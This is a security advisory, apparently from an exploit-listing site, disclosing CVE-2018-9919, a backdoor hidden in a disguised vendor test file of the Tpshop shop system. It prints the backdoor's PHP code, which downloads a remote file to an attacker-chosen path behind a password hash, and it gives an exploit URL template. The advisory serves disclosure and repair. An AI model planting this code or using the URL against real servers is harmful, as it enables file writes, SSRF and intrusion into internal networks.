Tpshop 2.0.8 Arbitrary File Download / SSRF

2018.05.02
Credit: Jiawang Zhang
Risk: Medium
Local: No
Remote: Yes
CWE: CWE-200


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

# Backdoor in Tpshop <= 2.0.8 (CVE-2018-9919) The Tpshop open source mall system is a multi-merchant mode mall system developed by Shenzhen Leopard Network Co., Ltd.This system is based on the Thinkphp development framework. ## Product Download: http://www.tp-shop.cn/Index/Index/download.html ## Vulnerability TypePSoWeb Backdoor ## Attack Type : Web Backdoor ## Vulnerability Description Tpshop has a backdoor code in the '/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php' that can be used to download files to the other server and can also initiate attacks through SSRF vulnerabilities. The vulnerability code: /vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php(Line 486 to 499): $path = $_REQUEST['bddlj']; $fileUrl =$_REQUEST['down_url']; if(md5(md5($_REQUEST['jmmy'])) !== 'caae8ca617372b67363bd284e98430f2') return false; $path = strtolower($path); if(strstr($path,'php')) return false; $ch = curl_init($fileUrl); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_BINARYTRANSFER,1); $file = curl_exec ($ch); curl_close ($ch); $fp = fopen($path,'w'); fwrite($fp, $file); fclose($fp); ## Exploit The attacker can exploit this vulnerability to attack the server and increase its privileges,Example: download arbitrary filesPS!scan network portPS!information detection,attack internal network vulnerable!-s server. http://target//vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php?bddlj=save_filename&down_url=download_url&jmmy=decryptpass ## Versions Tpshop <= 2.0.8 ## Impact Web Backdoor in Tp-shop 2.0.5-2.0.8 version allow remote attackers to download arbitrary filesPS!scan network portPS!information detection,attack internal network vulnerable!-s serverPS!may even cause a remote command execution via the url parameter!PS ## Repairs Delete Web Backdoor code. (/vendor/phpdocumentor/reflection-docblock/tests/phpDocumentor/Reflection/DocBlock/Tag/LinkTagTeet.php(Line 486 to 499)) ## Credit This vulnerability was discovered by Qian Wu & Bo Wang & Jiawang Zhang & National Computer Network Emergency Response Technical Team/Coordination Center of China (CNCERT/CC) ## References CVE: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-9919 Best wishes!


Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2019, cxsecurity.com

 

Back to Top